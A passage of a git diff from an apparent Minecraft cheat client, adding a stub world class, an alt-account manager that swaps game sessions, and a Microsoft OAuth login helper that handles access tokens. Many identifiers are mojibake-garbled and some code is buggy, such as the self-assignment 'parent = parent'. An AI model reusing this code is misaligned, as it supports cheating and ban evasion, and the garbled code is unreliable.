addEntity(Entity entityIn) { + return true; + } + + @Override + public boolean isRemote() { + return true; + } + + @Nullable + @Override + public MinecraftServer getServer() { + return super.getServer(); + } + + @Override + public Chunk getChunkAt(BlockPos pos) { + return super.getChunkAt(pos); + } + + @Override + public Chunk getChunk(int chunkX, int chunkZ) { + return super.getChunk(chunkX, chunkZ); + } + + @Override + public IChunk getChunk(int x, int z, ChunkStatus requiredStatus, boolean nonnull) { + return super.getChunk(x, z, requiredStatus, nonnull); + } + + @Override + public boolean setBlockState(BlockPos pos, BlockState state, int flags, int recursionLeft) { + return true; + } + + @Override + public void onBlockStateChange(BlockPos pos, BlockState blockStateIn, BlockState newState) { + super.onBlockStateChange(pos, blockStateIn, newState); + } + + @Override + public boolean removeBlock(BlockPos pos, boolean isMoving) { + return true; + } + + @Override + public boolean destroyBlock(BlockPos pos, boolean dropBlock, @Nullable Entity entity, int recursionLeft) { + return true; + } + + @Override + public void notifyNeighborsOfStateChange(BlockPos pos, Block blockIn) { + super.notifyNeighborsOfStateChange(pos, blockIn); + } + + @Override + public void neighborChanged(BlockPos pos, Block blockIn, BlockPos fromPos) { + super.neighborChanged(pos, blockIn, fromPos); + } + + @Override + public int getHeight(Heightmap.Type heightmapType, int x, int z) { + return 0; + } + + @Override + public WorldLightManager getLightManager() { + return super.getLightManager(); + } + + @Override + public BlockState getBlockState(BlockPos pos) { + return super.getBlockState(pos); + } + + @Override + public FluidState getFluidState(BlockPos pos) { + return super.getFluidState(pos); + } + + @Override + public boolean isNightTime() { + return true; + } + + @Override + public void playSound(@Nullable PlayerEntity player, BlockPos pos, SoundEvent soundIn, SoundCategory category, float volume, float pitch) { + super.playSound(player, pos, soundIn, category, volume, pitch); + } + + @Override + public float getCelestialAngleRadians(float partialTicks) { + return super.getCelestialAngleRadians(partialTicks); + } + + @Override + public void addTileEntities(Collection tileEntityCollection) { + super.addTileEntities(tileEntityCollection); + } + + @Override + public void tickBlockEntities() { + super.tickBlockEntities(); + } + + @Override + public void guardEntityTick(Consumer consumerEntity, Entity entityIn) { + super.guardEntityTick(consumerEntity, entityIn); + } + + @Override + public Explosion createExplosion(@Nullable Entity entityIn, double xIn, double yIn, double zIn, float explosionRadius, Explosion.Mode modeIn) { + return super.createExplosion(entityIn, xIn, yIn, zIn, explosionRadius, modeIn); + } + + @Override + public Explosion createExplosion(@Nullable Entity entityIn, double xIn, double yIn, double zIn, float explosionRadius, boolean causesFire, Explosion.Mode modeIn) { + return super.createExplosion(entityIn, xIn, yIn, zIn, explosionRadius, causesFire, modeIn); + } + + @Override + public Explosion createExplosion(@Nullable Entity exploder, @Nullable DamageSource damageSource, @Nullable ExplosionContext context, double x, double y, double z, float size, boolean causesFire, Explosion.Mode mode) { + return super.createExplosion(exploder, damageSource, context, x, y, z, size, causesFire, mode); + } + + @Override + public boolean isBlockPresent(BlockPos pos) { + return true; + } + + @Override + public boolean isDirectionSolid(BlockPos pos, Entity entity, Direction direction) { + return true; + } + + @Override + public boolean isTopSolid(BlockPos pos, Entity entityIn) { + return true; + } + + @Override + public void calculateInitialSkylight() { + super.calculateInitialSkylight(); + } + + @Override + public void setAllowedSpawnTypes(boolean hostile, boolean peaceful) { + super.setAllowedSpawnTypes(hostile, peaceful); + } + + @Override + protected void calculateInitialWeather() { + super.calculateInitialWeather(); + } + + @Override + public void close() throws IOException { + super.close(); + } + + @Nullable + @Override + public IBlockReader getBlockReader(int chunkX, int chunkZ) { + return super.getBlockReader(chunkX, chunkZ); + } + + @Override + public List getEntitiesInAABBexcluding(@Nullable Entity entityIn, AxisAlignedBB boundingBox, @Nullable Predicate predicate) { + return super.getEntitiesInAABBexcluding(entityIn, boundingBox, predicate); + } + + @Override + public List getEntitiesWithinAABB(@Nullable EntityType type, AxisAlignedBB boundingBox, Predicate predicate) { + return super.getEntitiesWithinAABB(type, boundingBox, predicate); + } + + @Override + public List getEntitiesWithinAABB(Class clazz, AxisAlignedBB aabb, @Nullable Predicate filter) { + return super.getEntitiesWithinAABB(clazz, aabb, filter); + } + + @Override + public List getLoadedEntitiesWithinAABB(Class p_225316_1_, AxisAlignedBB p_225316_2_, @Nullable Predicate p_225316_3_) { + return super.getLoadedEntitiesWithinAABB(p_225316_1_, p_225316_2_, p_225316_3_); + } + + @Override + public int getSeaLevel() { + return 0; + } + + @Override + public int getRedstonePowerFromNeighbors(BlockPos pos) { + return 0; + } + + @Override + public long getGameTime() { + return super.getGameTime(); + } + + @Override + public long getDayTime() { + return super.getDayTime(); + } + + @Override + public boolean isBlockModifiable(PlayerEntity player, BlockPos pos) { + return true; + } + + @Override + public GameRules getGameRules() { + return super.getGameRules(); + } + + @Override + public void updateComparatorOutputLevel(BlockPos pos, Block blockIn) { + super.updateComparatorOutputLevel(pos, blockIn); + } + + @Override + public DifficultyInstance getDifficultyForLocation(BlockPos pos) { + return super.getDifficultyForLocation(pos); + } + + @Override + public int getSkylightSubtracted() { + return 0; + } + + @Override + public WorldBorder getWorldBorder() { + return super.getWorldBorder(); + } + + @Override + public DimensionType getDimensionType() { + return super.getDimensionType(); + } + + @Override + public RegistryKey getDimensionKey() { + return super.getDimensionKey(); + } + + @Override + public Random getRandom() { + return super.getRandom(); + } + + @Override + public boolean hasBlockState(BlockPos pos, Predicate state) { + return true; + } + + @Override + public BlockPos getBlockRandomPos(int x, int y, int z, int yMask) { + return super.getBlockRandomPos(x, y, z, yMask); + } + + @Override + public boolean isSaveDisabled() { + return true; + } + + @Override + public IProfiler getProfiler() { + return super.getProfiler(); + } + + @Override + public Supplier getWorldProfiler() { + return super.getWorldProfiler(); + } + + @Override + public BiomeManager getBiomeManager() { + return super.getBiomeManager(); + } + + public void playEvent(final PlayerEntity player, final int type, final BlockPos pos, final int data) { + } + + public void playEvent(final int type, final BlockPos pos, final int data) { + } + + public int getHeight() { + return 0; + } + + public int getActualHeight() { + return 0; + } + + + public boolean addTileEntity(final TileEntity tile) { + return true; + } + + + public boolean isSideSolid(final BlockPos pos, final Direction side) { + return true; + } + + public boolean isSideSolid(final BlockPos pos, final Direction side, final boolean _default) { + return true; + } + + @Override + public int getCountLoadedEntities() { + return 0; + } + + + public Chunk getChunkFromChunkCoords(final int par1, final int par2) { + return null; + } +} \ No newline at end of file diff --git a/src/info/sigmaclient/sigma/gui/altmanager/JelloAltManager.java b/src/info/sigmaclient/sigma/gui/altmanager/JelloAltManager.java new file mode 100644 index 00000000..9d81cede --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/altmanager/JelloAltManager.java @@ -0,0 +1,407 @@ +package info.sigmaclient.sigma.gui.altmanager; + +import com.mojang.blaze3d.matrix.MatrixStack; +import info.sigmaclient.sigma.SigmaNG; +import info.sigmaclient.sigma.config.ConfigManager; +import info.sigmaclient.sigma.gui.JelloTextField; +import info.sigmaclient.sigma.gui.font.JelloFontUtil; +import info.sigmaclient.sigma.modules.gui.Shader; +import info.sigmaclient.sigma.sigma5.utils.*; +import info.sigmaclient.sigma.utils.alt.HCMLJsonParser; +import info.sigmaclient.sigma.utils.key.ClickUtils; +import info.sigmaclient.sigma.utils.render.rendermanagers.GlStateManager; +import info.sigmaclient.sigma.utils.render.rendermanagers.ScaledResolution; +import info.sigmaclient.sigma.config.alts.Alt; +import info.sigmaclient.sigma.config.alts.AltConfig; +import info.sigmaclient.sigma.utils.render.RenderUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.entity.player.ClientPlayerEntity; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.world.ClientWorld; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.Session; +import net.minecraft.util.text.StringTextComponent; +import org.lwjgl.opengl.GL11; + +import java.awt.*; +import java.util.UUID; + +import static info.sigmaclient.sigma.gui.Sigma5LoadProgressGui.霥瀳놣㠠釒; +import static info.sigmaclient.sigma.modules.Module.mc; +import static info.sigmaclient.sigma.modules.render.NameTags.贞䩉㥇딨햖; +import static info.sigmaclient.sigma.sigma5.utils.SomeAnim.欫좯콵ç”鶲㥇; +import static info.sigmaclient.sigma.gui.mainmenu.SigmaGuiMainMenu.animatedMouseX; +import static info.sigmaclient.sigma.gui.mainmenu.SigmaGuiMainMenu.animatedMouseY; +import static info.sigmaclient.sigma.utils.render.RenderUtils.*; + +public class JelloAltManager extends Screen { + int scroll; + Screen parent; + public static Alt select = null; + boolean adding = false; + boolean offlineInput = false; + MicrosoftLoginHelper microsoftLoginHelper = null; + ConfigButton 쇼ኞ錌å’é…‹3; + Sigma5AnimationUtil addAnimation = new Sigma5AnimationUtil(400, 400); + Sigma5AnimationUtil deleteAnimation = new Sigma5AnimationUtil(400, 400); + JelloTextField jelloTextField; + public JelloAltManager(Screen parent){ + + super(new StringTextComponent("AltManager")); + parent = parent; + } + + @Override + public void onGuiClosed() { + if(microsoftLoginHelper != null){ + microsoftLoginHelper.close(); + } + super.onGuiClosed(); + } + + @Override + public void initGui() { + jelloTextField = new JelloTextField( + 0, mc.fontRenderer, width / 2f - 75 + 17, height / 2f - 60, 100, 30, "Username..." + ); + select = null; + addAnimation = new Sigma5AnimationUtil(400, 400); + addAnimation.animTo(Sigma5AnimationUtil.AnimState.SLEEPING); + deleteAnimation = new Sigma5AnimationUtil(400, 400); + deleteAnimation.animTo(Sigma5AnimationUtil.AnimState.SLEEPING); + for (Alt alt : AltConfig.Instance.alts) { + alt.animationUtil = new Sigma5AnimationUtil(400, 400); + alt.animationUtil.animTo(Sigma5AnimationUtil.AnimState.SLEEPING); + alt.select = new Sigma5AnimationUtil(114, 114); + if(alt.uuid.equals(mc.session.getPlayerID()) && select == null){ + select = alt; + } + } + 쇼ኞ錌å’é…‹3 = new ConfigButton( + width - 90 / 2, 11, 70 / 2, 30 / 2, "Add +",(n)->{ + add(); + }, JelloFontUtil.jelloFont25); + adding = false; + offlineInput = false; +// this.addButton(쇼ኞ錌å’é…‹3); + super.initGui(); + } + public void add(){ + adding = !adding; + } + public void login(Alt alt){ + mc.session = new Session( + alt.name, + alt.uuid, + alt.offline ? "0" : alt.token, + "Legacy" + ); + } + @Override + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) { + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + @Override + public boolean mouseScrolled(double mouseX, double mouseY, double delta) { + if(delta != 0){ + scroll += delta > 0 ? 20 : -20; + if(scroll > 0) scroll = 0; + if(scroll < -AltConfig.Instance.alts.size() * 58) scroll = -AltConfig.Instance.alts.size() * 58; + } + return super.mouseScrolled(mouseX, mouseY, delta); + } + + @Override + public boolean mouseClicked(double mouseX, double mouseY, int button) { + ScaledResolution sr = new ScaledResolution(mc); + if(!adding) { + float height = 50; + float startY = 57; + Alt prev = null; + for (Alt alt : AltConfig.Instance.alts) { + if (prev == null || prev.animationUtil.getAnim() > 0.2f) { + alt.animationUtil.animTo(Sigma5AnimationUtil.AnimState.ANIMING); + } else { + alt.animationUtil.animTo(Sigma5AnimationUtil.AnimState.SLEEPING); + } + prev = alt; + float width2 = (float) Math.floor(sr.getScaledWidth() * 0.34f) + 2; + float anim = sr.getScaledWidth() - width2 - 8 - 15 + 20; + float scale = alt.animationUtil.getAnim(); + scale = 欫좯콵ç”鶲㥇((float) scale, 0.17, 1.0, 0.51, 1.0); + scale *= 1.18f; + if (scale > 1.09f) { + scale = 1.18f - scale + 1; + } + float ç«è—¸ëŽ«æ‰ç¬ = 15 - anim + anim * scale, 䩉湗鶲å¨åœ­ = startY; + final int é¶²ä©‰ç¼°å•–éŒŒæ­ = scroll; + final float n5 = 䩉湗鶲å¨åœ­ + 鶲䩉缰啖錌æ­; + if(ClickUtils.isClickableWithRect(ç«è—¸ëŽ«æ‰ç¬, n5, sr.getScaledWidth() - width2 - 8 - 15 - 15, height, mouseX, mouseY)){ + if(button == 0) { + if (select == alt) { + login(alt); + } else { + select = alt; + } + }else{ + AltConfig.Instance.alts.remove(alt); + } + return true; + } + startY += height + 8; + } + }else{ + float wid = 150, hei = 190; + if(!ClickUtils.isClickableWithRect(sr.getScaledWidth() / 2f - wid / 2f, sr.getScaledHeight() / 2f - hei / 2f,wid,hei, mouseX, mouseY)){ + adding = false; + offlineInput = false; + return true; + } + if(offlineInput){ + jelloTextField.mouseClicked(mouseX, mouseY, button); + if(ClickUtils.isClickableWithRect(sr.getScaledWidth() / 2f - wid / 2f + 17, sr.getScaledHeight() / 2f - hei / 2f + 70, + 60, 20,mouseX,mouseY)){ + Alt alt = new Alt( + jelloTextField.getText(), + UUID.randomUUID().toString().replace("-", "") + ); + AltConfig.Instance.alts.add(alt); + login(alt); + SigmaNG.getSigmaNG().configManager.saveDefaultConfig(); + adding = false; + offlineInput = false; + } + return true; + } + if(ClickUtils.isClickableWithRect(sr.getScaledWidth() / 2f - wid / 2f + 17, sr.getScaledHeight() / 2f - hei / 2f + 50,50,15, mouseX, mouseY)){ + new HCMLJsonParser().parserCheck(); + adding = false; + offlineInput = false; + return true; + } + if(ClickUtils.isClickableWithRect(sr.getScaledWidth() / 2f - wid / 2f + 17, sr.getScaledHeight() / 2f - hei / 2f + 70,50,15, mouseX, mouseY)){ + offlineInput = true; + jelloTextField.setText(""); + return true; + } + if(ClickUtils.isClickableWithRect(sr.getScaledWidth() / 2f - wid / 2f + 17, sr.getScaledHeight() / 2f - hei / 2f + 90,50,15, mouseX, mouseY)){ + adding = false; + microsoftLoginHelper = new MicrosoftLoginHelper(); + return true; + } + } + if(쇼ኞ錌å’é…‹3.mouseClicked(mouseX, mouseY, button)){ + return true; + } + return super.mouseClicked(mouseX, mouseY, button); + } + FakeNetHandlerPlayClient fakeNetHandlerPlayClient = new FakeNetHandlerPlayClient(mc); + ClientWorld fakeworld = new FakeWorld(fakeNetHandlerPlayClient); + ClientPlayerEntity player; + @Override + public void drawScreen(int mouseX, int mouseY, float partialTicks) { + ScaledResolution sr = new ScaledResolution(mc); + Minecraft.getInstance().getTextureManager().bindTexture(new ResourceLocation("sigma/background.png")); + GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F); + float scaleW = sr.getScaledWidth() / 960f; + float scaleH = sr.getScaledHeight() / 501f; + float m1 = sr.getScaledWidth() / 960f * 3000; + float h1 = sr.getScaledHeight() / 501f * 844; + float m = 1.0f; + float addM = (m1 * m - sr.getScaledWidth()) / 2f; + float addH = (h1 * m - sr.getScaledHeight()) / 2f; + + drawTexture( + -(animatedMouseX / sr.getScaledWidth() - 0.5f) * addM - addM, + -(animatedMouseY / sr.getScaledHeight() - 0.5f) * addH - addH, + 0, 0, + m1 * m, + h1 * m, + m1 * m, + h1 * m + ); + RenderUtils.drawRect(0, 0, sr.getScaledWidth(), sr.getScaledHeight(), new Color(0xFAF2F1F2, true).getRGB()); + + GL11.glTexParameteri(GL11.GL_TEXTURE_2D, GL11.GL_TEXTURE_MAG_FILTER, GL11.GL_LINEAR); + GL11.glTexParameteri(GL11.GL_TEXTURE_2D, GL11.GL_TEXTURE_MIN_FILTER, GL11.GL_LINEAR); + drawTexture(30 * 0.5, 41 * 0.5, 218 * 0.5, 35 * 0.5, "jelloaltmanager", 1); +// drawTexture(sr.getScaledWidth() - 67/2f - 22/2f, 50/2f, 67/2f, 19/2f, "add", 1); + 쇼ኞ錌å’é…‹3.myRender(mouseX, mouseY, new Color(41, 166, 255), 1); + + + float width = sr.getScaledWidth() / 17f * 10f; + float awidth = sr.getScaledWidth() - width; + + GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F); + float width2 = (float) Math.floor(sr.getScaledWidth() * 0.34f) + 2; + float reduce = 57; +// drawTexture(sr.getScaledWidth() - width2 * 1.15F - 15, 58 - 15, sr.getScaledWidth() - 15 + 30 - (sr.getScaledWidth() - width2 * 1.15F - 15), sr.getScaledHeight() - 17 + 30 - (58 - 15), "addalt2", 1f); +// RenderUtils.drawRoundedRect(sr.getScaledWidth() - width2 * 1.15F, 58, sr.getScaledWidth() - 15, sr.getScaledHeight() - 17, 3, -1); +// RenderUtils.汌ꪕ蒕姮Ⱋ樽(); +// RenderUtils.drawRoundShadow(sx - 125, sy - 250, 125, 250, new Color(244, 244, 244, (int) (myAlpha * 255)).getRGB()); + RenderUtils.drawRoundShadow(sr.getScaledWidth() - width2 - 8, reduce, (float) Math.floor(sr.getScaledWidth() * 0.335f), + sr.getScaledHeight() - reduce - 17, + Color.WHITE.getRGB()); + float w2 = (float) Math.floor(sr.getScaledWidth() * 0.335f) - 3; + float multi = w2 / 920f; + float multi2 = sr.getScaledWidth() / 1940f; + float h2 = 684 * multi; + if(select == null) { + drawTextureLocationZoom(sr.getScaledWidth() - width2 - 8, + reduce + (sr.getScaledHeight() - reduce - 17) / 2f - h2 / 2f, + w2, + h2, "alt/img", -1); // 920 x 684 + }else{ + + drawTextureLocationZoom(sr.getScaledWidth() - width2 - 8 + w2 / 2f - 120 * multi2, + reduce + (sr.getScaledHeight() - reduce - 17) / 2f - 365 / 2f * multi2 - 80, + 240 * multi2, + 365 * multi2, "alt/man", -1); // 920 x 684 + JelloFontUtil.jelloFont36.drawCenteredString(select.name, sr.getScaledWidth() - width2 - 8 + w2 / 2f, + reduce + (sr.getScaledHeight() - reduce - 17) / 2f + 10, new Color(50, 50, 50).getRGB()); + } + + float height = 50; + float startY = 57; + Alt prev = null; + for (Alt alt : AltConfig.Instance.alts) { + if(prev == null || prev.animationUtil.getAnim() > 0.2f) { + alt.animationUtil.animTo(Sigma5AnimationUtil.AnimState.ANIMING); + }else{ + alt.animationUtil.animTo(Sigma5AnimationUtil.AnimState.SLEEPING); + } + prev = alt; + float anim = sr.getScaledWidth() - width2 - 8 - 15 + 20; + float scale = alt.animationUtil.getAnim(); + scale = 欫좯콵ç”鶲㥇((float) scale, 0.17, 1.0, 0.51, 1.0); + scale *= 1.18f; + if(scale > 1.09f){ + scale = 1.18f - scale + 1; + } + float ç«è—¸ëŽ«æ‰ç¬ = 15 - anim + anim * scale, 䩉湗鶲å¨åœ­ = startY; + int 댠å“å¨é…‹ç€³ = this.width, 㢸ꪕ䬾硙葫 = this.height; + int 쥡å¨ìƒ±ì…´á¢» = 贞䩉㥇딨햖(핇댠䂷呓贞.white.哺å«ì½—鱀ಽ, 핇댠䂷呓贞.black.哺å«ì½—鱀ಽ, 2.0f); + final int é¶²ä©‰ç¼°å•–éŒŒæ­ = scroll; + final float max = Math.max(0, 䩉湗鶲å¨åœ­ - 鶲䩉缰啖錌æ­); + final float max2 = Math.max(0, 㢸ꪕ䬾硙葫 + Math.min(100, 䩉湗鶲å¨åœ­ - é¶²ä©‰ç¼°å•–éŒŒæ­ - max)); + final float n2 = Math.min(50, max2) / 50.0f; + + final float n5 = 䩉湗鶲å¨åœ­ + 鶲䩉缰啖錌æ­; + if(n5 < -sr.getScaledHeight() - 10) {startY += height + 8; + continue; + } + if(n5 > sr.getScaledHeight() + 10) {startY += height + 8; + continue; + } + RenderUtils.drawRoundShadow(ç«è—¸ëŽ«æ‰ç¬, n5, sr.getScaledWidth() - width2 - 8 - 15 - 15, height, + 霥瀳놣㠠釒(핇댠䂷呓贞.white.哺å«ì½—鱀ಽ, n2)); + JelloFontUtil.jelloFont24.drawNoBSString(alt.name, ç«è—¸ëŽ«æ‰ç¬ + 55, n5 + 13, Color.BLACK.getRGB()); + JelloFontUtil.jelloFont15.drawNoBSString("Username: " + alt.name, ç«è—¸ëŽ«æ‰ç¬ + 55, n5 + 27.5f, -6710887); + JelloFontUtil.jelloFont15.drawNoBSString(alt.offline ? "Offline account" : "Online account", ç«è—¸ëŽ«æ‰ç¬ + 55, n5 + 35, -6710887); +// RenderUtils.牰蓳躚唟æ‰ç’§(ç«è—¸ëŽ«æ‰ç¬ + 6.5f + 37.5f / 2f, +// n5 + 6.5f + 37.5f / 2f, +// 76, new Color(150, 150, 150).getRGB()); +// StencilUtil.initStencilToWrite(); +// RenderUtils.牰蓳躚唟æ‰ç’§(ç«è—¸ëŽ«æ‰ç¬ + 6.5f + 37.5f / 2f, +// n5 + 6.5f + 37.5f / 2f, +// 74, -1); +// StencilUtil.readStencilBuffer(1); + drawTextureLocationZoom(ç«è—¸ëŽ«æ‰ç¬ + 6.5f, + n5 + 6.5f, + 37.5f, + 37.5f, "alt/skin", -1); // 920 x 684 + drawTextureLocationZoom(ç«è—¸ëŽ«æ‰ç¬ + 0.5f, + n5, + 50, + 50, "alt/cercle", -1); // 920 x 684 + alt.select.animTo((alt == select) ? Sigma5AnimationUtil.AnimState.ANIMING : Sigma5AnimationUtil.AnimState.SLEEPING); + float a = alt.select.getAnim(); + if(a != 0) + drawTextureLocation(sr.getScaledWidth() - width2 - 8 - 15, + n5 + 13f, + 9 * Math.floor(a * 10) / 10, + 46 / 2f, "alt/select", new Color(-1)); // 920 x 684 + +// StencilUtil.uninitStencilBuffer(); +// 㕠鄡呓ᢻ낛.퉧핇樽웨䈔属(ç«è—¸ëŽ«æ‰ç¬, n5, ç«è—¸ëŽ«æ‰ç¬ + 댠å“å¨é…‹ç€³ + 20, n5 + max2, true); +// if (值埙霥浣浦 != null) { +// drawHead(); +// drawName(); +// drawStat(n2); +// if (ã›éŸ¤ä©œäŽ°à¹ƒ.getAnim() > 0.0f) { +// if (max2 > 55) { +// 㕠鄡呓ᢻ낛.drawTextureSigma((float)(ç«è—¸ëŽ«æ‰ç¬ + 㦖缰뫤랾퉧()), n5 + 26 * max2 / 100.0f, 18.0f * ã›éŸ¤ä©œäŽ°à¹ƒ.getAnim() * max2 / 100.0f, 47 * max2 / 100.0f, 뚔弻缰硙柿.掬ã–햠쬫竬, 쥦嘖酭綋錌瀳() ? 쥡å¨ìƒ±ì…´á¢» : 핇댠䂷呓贞.white.哺å«ì½—鱀ಽ); +// } +// } + startY += height + 8; + } + addAnimation.animTo(adding ? Sigma5AnimationUtil.AnimState.ANIMING : Sigma5AnimationUtil.AnimState.SLEEPING); + float b = addAnimation.getAnim(); + if(b != 0){ + float scale = b; + scale = 欫좯콵ç”鶲㥇((float) scale, 0.17, 1.0, 0.51, 1.0); + scale *= 1.18f; + if(scale > 1.09f){ + scale = 1.18f - scale + 1; + } + + GL11.glPushMatrix(); + GlStateManager.translate(sr.getScaledWidth() / 2f, sr.getScaledHeight() / 2f, 0); + GlStateManager.scale(scale, scale, 1); + GlStateManager.translate(-sr.getScaledWidth() / 2f, -sr.getScaledHeight() / 2f, 0); + float wid = 150, hei = 190; + Sigma5BlurUtils.vblur(20); + RenderUtils.drawRoundShadow(sr.getScaledWidth() / 2f - wid / 2f, sr.getScaledHeight() / 2f - hei / 2f,wid,hei,-1); + JelloFontUtil.jelloFont32.drawSmoothString( offlineInput ? "Log in" : "Login method", sr.getScaledWidth() / 2f - wid / 2f + 17, sr.getScaledHeight() / 2f - hei / 2f + 20, Color.BLACK.getRGB()); + if(!offlineInput) { + JelloFontUtil.jelloFont22.drawSmoothString("| Copy from HCML", sr.getScaledWidth() / 2f - wid / 2f + 17, sr.getScaledHeight() / 2f - hei / 2f + 50, Color.BLACK.getRGB()); + JelloFontUtil.jelloFont22.drawSmoothString("| Offline", sr.getScaledWidth() / 2f - wid / 2f + 17, sr.getScaledHeight() / 2f - hei / 2f + 70, Color.BLACK.getRGB()); + JelloFontUtil.jelloFont22.drawSmoothString("| Microsoft", sr.getScaledWidth() / 2f - wid / 2f + 17, sr.getScaledHeight() / 2f - hei / 2f + 90, Color.BLACK.getRGB()); + if (ClickUtils.isClickableWithRect(sr.getScaledWidth() / 2f - wid / 2f + 17, sr.getScaledHeight() / 2f - hei / 2f + 50, 50, 15, mouseX, mouseY)) { + RenderUtils.drawRect( + sr.getScaledWidth() / 2f - wid / 2f + 17, sr.getScaledHeight() / 2f - hei / 2f + 45, sr.getScaledWidth() / 2f - wid / 2f + 17 + 100, sr.getScaledHeight() / 2f - hei / 2f + 50 + 15, + new Color(0, 0, 0, 50).getRGB()); + } + if (ClickUtils.isClickableWithRect(sr.getScaledWidth() / 2f - wid / 2f + 17, sr.getScaledHeight() / 2f - hei / 2f + 70, 50, 15, mouseX, mouseY)) { + RenderUtils.drawRect( + sr.getScaledWidth() / 2f - wid / 2f + 17, sr.getScaledHeight() / 2f - hei / 2f + 65, sr.getScaledWidth() / 2f - wid / 2f + 17 + 100, sr.getScaledHeight() / 2f - hei / 2f + 70 + 15, + new Color(0, 0, 0, 50).getRGB()); + } + }else{ + jelloTextField.drawTextBoxCustom(1, 9, 170, 50); + RenderUtils.drawRoundShadow(sr.getScaledWidth() / 2f - wid / 2f + 17, sr.getScaledHeight() / 2f - hei / 2f + 70, + 60, 20, new Color(41, 166, 255).getRGB()); + JelloFontUtil.jelloFont22.drawSmoothString("Login", sr.getScaledWidth() / 2f - wid / 2f + 23, sr.getScaledHeight() / 2f - hei / 2f + 75, Color.WHITE.getRGB()); + } + GL11.glPopMatrix(); + } + animatedMouseX += (float) (((mouseX - animatedMouseX) / 3) + 0.2); + animatedMouseY += (float) (((mouseY - animatedMouseY) / 3) + 0.2); + super.drawScreen(mouseX, mouseY, partialTicks); + } + + @Override + public boolean keyPressed(int keyCode, int scanCode, int modifiers) { + if(adding && offlineInput){ + jelloTextField.keyPressed(keyCode, scanCode, modifiers); + } + return super.keyPressed(keyCode, scanCode, modifiers); + } + + @Override + public boolean keyReleased(int keyCode, int scanCode, int modifiers) { + if(adding && offlineInput){ + jelloTextField.keyReleased(keyCode, scanCode, modifiers); + } + return super.keyReleased(keyCode, scanCode, modifiers); + } + + @Override + public boolean charTyped(char codePoint, int modifiers) { + if(adding && offlineInput){ + jelloTextField.charTyped(codePoint, modifiers); + } + return super.charTyped(codePoint, modifiers); + } +} diff --git a/src/info/sigmaclient/sigma/gui/altmanager/MicrosoftLogin.java b/src/info/sigmaclient/sigma/gui/altmanager/MicrosoftLogin.java new file mode 100644 index 00000000..1f8d8245 --- /dev/null +++ b/src/info/sigmaclient/sigma/gui/altmanager/MicrosoftLogin.java @@ -0,0 +1,270 @@ +package info.sigmaclient.sigma.gui.altmanager; + +import com.google.gson.Gson; +import com.google.gson.GsonBuilder; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import com.sun.net.httpserver.HttpServer; +import lombok.Getter; +import lombok.Setter; +import net.minecraft.util.Util; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +import java.awt.*; +import java.io.Closeable; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.*; +import java.nio.charset.StandardCharsets; +import java.util.Collections; +import java.util.Map; + +@Getter +@Setter +public class MicrosoftLogin implements Closeable{ + private final String CLIENT_ID = "67b74668-ef33-49c3-a75c-18cbb2481e0c"; + private final String REDIRECT_URI = "http://localhost:4689/sad"; + private final String SCOPE = "XboxLive.signin%20offline_access"; + private final Gson gson = new GsonBuilder().create(); + private final JsonParser parser = new JsonParser(); + + private final Logger logger = LogManager.getLogger("Microsoft Login"); + + private HttpServer httpServer = null; + private boolean logged = false; + private String uuid; + private String userName; + private String accessToken; + + public boolean suss = false; + + public MicrosoftLogin() { + logger.info("Try to create http server"); + if(httpServer != null){ + httpServer.stop(0); + httpServer = null; + } + try { + httpServer = HttpServer.create(new InetSocketAddress("localhost", 4689), 0); + } catch (IOException e) { + throw new RuntimeException(e); + } + httpServer.createContext("/sad", exchange -> { + String query = exchange.getRequestURI().getQuery(); + + if (query.contains("code")) { + String code = query.split("code=")[1]; + + String[] microsoftTokenAndRefreshToken = getMicrosoftTokenAndRefreshToken(code); + String xBoxLiveToken = getXBoxLiveToken(microsoftTokenAndRefreshToken[0]); + + String[] xstsTokenAndHash = getXSTSTokenAndUserHash(xBoxLiveToken); + String accessToken = getAccessToken(xstsTokenAndHash[0], xstsTokenAndHash[1]); + + + JsonObject jsonObject = parser.parse( + get( + "https://api.minecraftservices.com/minecraft/profile", + Map.of("Authorization", "Bearer " + accessToken) + ) + ).getAsJsonObject(); + + this.uuid = jsonObject.get("id").getAsString(); + this.userName = jsonObject.get("name").getAsString(); + this.accessToken = accessToken; + this.logged = true; + + suss = true; + } + }); + httpServer.start(); + + logger.info("Start http server"); + logger.info("Opening browser"); + try { + String URL = "https://login.live.com/oauth20_authorize.srf?client_id=&redirect_uri=&response_type=code&display=touch&scope=" + .replace("", CLIENT_ID) + .replace("", REDIRECT_URI) + .replace("", SCOPE); + Util.getOSType().openURI(new URI(URL)); + } catch (URISyntaxException e) { + e.printStackTrace(); + } + } + + private String[] getMicrosoftTokenAndRefreshToken(String code) { + JsonObject jsonObject; + try { + jsonObject = parser.parse( + post( + "https://login.live.com/oauth20_token.srf", + "client_id=" + CLIENT_ID + "&code=" + code + "&grant_type=authorization_code&redirect_uri=" + REDIRECT_URI + "&scope=" + SCOPE, + Map.of("Content-Type", "application/x-www-form-urlencoded") + ) + ).getAsJsonObject(); + } catch (IOException e) { + throw new RuntimeException(e); + } + + return new String[]{ + jsonObject.get("access_token").getAsString(), + jsonObject.get("refresh_token").getAsString() + }; + } + + @SuppressWarnings("HttpUrlsUsage") + private String getXBoxLiveToken(String microsoftToken) { + JsonObject paramObj = new JsonObject(); + JsonObject propertiesObj = new JsonObject(); + + propertiesObj.addProperty("AuthMethod", "RPS"); + propertiesObj.addProperty("SiteName", "user.auth.xboxlive.com"); + propertiesObj.addProperty("RpsTicket", "d=" + microsoftToken); + paramObj.add("Properties", propertiesObj); + paramObj.addProperty("RelyingParty", "http://auth.xboxlive.com"); + paramObj.addProperty("TokenType", "JWT"); + + JsonObject jsonObject; + try { + jsonObject = parser.parse( + post( + "https://user.auth.xboxlive.com/user/authenticate", + gson.toJson(paramObj), + Map.of( + "Content-Type", "application/json", + "Accept", "application/json" + ) + ) + ).getAsJsonObject(); + } catch (IOException e) { + throw new RuntimeException(e); + } + + return jsonObject.get("Token").getAsString(); + } + + private String[] getXSTSTokenAndUserHash(String xboxLiveToken) { + 